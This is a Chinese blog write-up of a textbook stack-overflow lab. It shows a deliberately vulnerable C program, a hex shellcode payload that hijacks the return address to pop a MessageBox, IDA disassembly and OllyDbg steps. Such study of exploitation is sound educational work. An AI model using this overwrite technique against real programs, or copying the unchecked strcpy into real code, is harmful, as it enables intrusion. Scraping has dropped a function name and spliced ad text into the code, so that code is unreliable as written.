CTF-0day2-栈溢出(3)-植入代码

这次的实验出了些小意外(user32.dll中messagebox的入口地址不一致),不过很好的解决了,感觉很有意思

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51





file name : stack_overflow_exec.c
author : failwest
date : 2006.10.1
description : demo show how to redirect EIP to executed extra binary code in buffer
Noticed : should be complied with VC6.0 and build into debug version
the address of MessageboxA and the start of machine code in buffer
have to be make sure in file "password.txt" via runtime debugging
version : 1.0
E-mail : [email protected]

Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/


#define PASSWORD "1234567"
int (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox

if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!n");
}
else
{
printf("Congratulation! You have passed the verification!n");
}
fclose(fp);
}

password.txt的十六进制如下:

1
2
3
4
33db 5368 7765 7374 6866 6169 6c8b c453
5050 53b8 1efd cb7d ffd0 9090 9090 9090
9090 9090 9090 9090 9090 9090 9090 9990
9090 9090 b4fa 1800

ida

首先用ida找到关键代码(“incorrect”):在记下内存位置,进入olly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

//main函数


.text:0040106F
.text:0040106F ; ---------------------------------------------------------------------------
.text:00401070 db 20h dup(0CCh)
.text:00401090
.text:00401090 ; =============== S U B R O U T I N E =======================================
.text:00401090
.text:00401090 ; Attributes: bp-based frame
.text:00401090
.text:00401090 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401090 _main proc near ; CODE XREF: _main_0j
.text:00401090
.text:00401090 var_448 = byte ptr -448h
.text:00401090 File = dword ptr -408h
.text:00401090 Str1 = byte ptr -404h
.text:00401090 var_4 = dword ptr -4
.text:00401090 argc = dword ptr 8
.text:00401090 argv = dword ptr 0Ch
.text:00401090 envp = dword ptr 10h
.text:00401090
.text:00401090 push ebp
.text:00401091 mov ebp, esp
.text:00401093 sub esp, 448h
.text:00401099 push ebx
.text:0040109A push esi
.text:0040109B push edi
.text:0040109C lea edi, [ebp+var_448]
.text:004010A2 mov ecx, 112h
.text:004010A7 mov eax, 0CCCCCCCCh
.text:004010AC rep stosd
.text:004010AE mov [ebp+var_4], 0
.text:004010B5 mov esi, esp
.text:004010B7 push offset LibFileName ; "user32.dll"
.text:004010BC call ds:__imp__LoadLibraryA@4 ; LoadLibraryA(x)
.text:004010C2 cmp esi, esp
.text:004010C4 call __chkesp
.text:004010C9 push offset Mode ; "rw+"
.text:004010CE push offset Filename ; "password.txt"
.text:004010D3 call _fopen
.text:004010D8 add esp, 8
.text:004010DB mov [ebp+File], eax
.text:004010E1 cmp [ebp+File], 0
.text:004010E8 jnz short loc_4010F1
.text:004010EA push 0 ; Code
.text:004010EC call _exit
.text:004010F1 ; ---------------------------------------------------------------------------
.text:004010F1
.text:004010F1 loc_4010F1: ; CODE XREF: _main+58j
.text:004010F1 lea eax, [ebp+Str1]
.text:004010F7 push eax
.text:004010F8 push offset Format ; "%s"
.text:004010FD mov ecx, [ebp+File]
.text:00401103 push ecx ; File
.text:00401104 call _fscanf
.text:00401109 add esp, 0Ch
.text:0040110C lea edx, [ebp+Str1]
.text:00401112 push edx ; Str1
.text:00401113 call j__verify_password
.text:00401118 add esp, 4
.text:0040111B mov [ebp+var_4], eax
.text:0040111E cmp [ebp+var_4], 0
.text:00401122 jz short loc_401133
.text:00401124 push offset aIncorrectPassw ; "incorrect password!n"
.text:00401129 call _printf
.text:0040112E add esp, 4
.text:00401131 jmp short loc_401140
.text:00401133 ; ---------------------------------------------------------------------------
.text:00401133
.text:00401133 loc_401133: ; CODE XREF: _main+92j
.text:00401133 push offset aCongratulation ; "Congratulation! You have passed the ver"...
.text:00401138 大专栏  CTF-0day2-栈溢出(3)-植入代码 call _printf
.text:0040113D add esp, 4
.text:00401140
.text:00401140 loc_401140: ; CODE XREF: _main+A1j
.text:00401140 mov eax, [ebp+File]
.text:00401146 push eax ; File
.text:00401147 call _fclose
.text:0040114C add esp, 4
.text:0040114F pop edi
.text:00401150 pop esi
.text:00401151 pop ebx
.text:00401152 add esp, 448h
.text:00401158 cmp ebp, esp
.text:0040115A call __chkesp
.text:0040115F mov esp, ebp
.text:00401161 pop ebp
.text:00401162 retn
.text:00401162 _main endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

//verify_password

.text:00401020 ; int __cdecl verify_password(char *Str1)
.text:00401020 _verify_password proc near ; CODE XREF: j__verify_passwordj
.text:00401020
.text:00401020 var_70 = byte ptr -70h
.text:00401020 Dest = byte ptr -30h
.text:00401020 var_4 = dword ptr -4
.text:00401020 Str1 = dword ptr 8
.text:00401020
.text:00401020 push ebp
.text:00401021 mov ebp, esp
.text:00401023 sub esp, 70h
.text:00401026 push ebx
.text:00401027 push esi
.text:00401028 push edi
.text:00401029 lea edi, [ebp+var_70]
.text:0040102C mov ecx, 1Ch
.text:00401031 mov eax, 0CCCCCCCCh
.text:00401036 rep stosd
.text:00401038 push offset Str2 ; "1234567"
.text:0040103D mov eax, [ebp+Str1]
.text:00401040 push eax ; Str1
.text:00401041 call _strcmp
.text:00401046 add esp, 8
.text:00401049 mov [ebp+var_4], eax
.text:0040104C mov ecx, [ebp+Str1]
.text:0040104F push ecx ; Source
.text:00401050 lea edx, [ebp+Dest]
.text:00401053 push edx ; Dest
.text:00401054 call _strcpy
.text:00401059 add esp, 8
.text:0040105C mov eax, [ebp+var_4]
.text:0040105F pop edi
.text:00401060 pop esi
.text:00401061 pop ebx
.text:00401062 add esp, 70h
.text:00401065 cmp ebp, esp
.text:00401067 call __chkesp
.text:0040106C mov esp, ebp
.text:0040106E pop ebp
.text:0040106F retn
.text:0040106F _verify_password endp

ollydbg

  1. 快捷键ctrl+g,,跳转至关键代码处修改,这里我们直接找到溢出的关键点strcpy函数,图为执行strcpy前

  1. 修改password.txt,因为要利用buffer覆盖以后的返回地址,由上图,将返回地址设为0x0018FAB8,即shellcode的起始位置,使其开始运行shellcode,图为执行strcpy后

  1. 继续运行,可以发现已经执行到了我们的shellcode,图为执行我们认为的MessageBox的地址前(实际在这里之前是出错的,因为之前给的MessageBox的入口地址和我电脑上的不符,所以需要重新获取,获取方法见附录)

  1. 继续运行,成功弹出

附录

MessageBox函数入口地址探究

书中写的用VC中的dependecy walker tools查看,益凡说是不行,可能是因为地址随机化,于是探究了一会儿,最终利用GetProcAddress这个函数找到MessageBox,将源码改为:

扫描二维码关注公众号,回复: 8098042 查看本文章
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!

POC code of chapter 2.4 in book "Vulnerability Exploit and Analysis Technique"

file name : stack_overflow_exec.c
author : failwest
date : 2006.10.1
description : demo show how to redirect EIP to executed extra binary code in buffer
Noticed : should be complied with VC6.0 and build into debug version
the address of MessageboxA and the start of machine code in buffer
have to be make sure in file "password.txt" via runtime debugging
version : 1.0
E-mail : [email protected]

Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
HINSTANCE h = LoadLibrary("user32.dll");//prepare for messagebox,修改部分
GetProcAddress(h,"MessageBoxA");//增加部分
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!n");
}
else
{
printf("Congratulation! You have passed the verification!n");
}
fclose(fp);
}

主要修改了

1
2
HINSTANCE h = LoadLibrary("user32.dll");//prepare for messagebox,修改部分
GetProcAddress(h,"MessageBoxA");//增加部分
  1. olly运行至getprocaddress前,可以看出eax中为user32.dll的句柄(loadlibrary的返回值)

  1. 执行后,eax的值即为MessageBox的入口地址,将其改写到password.txt对应位置,然后就可以成功运行了

猜你喜欢

转载自www.cnblogs.com/liuzhongrong/p/12000140.html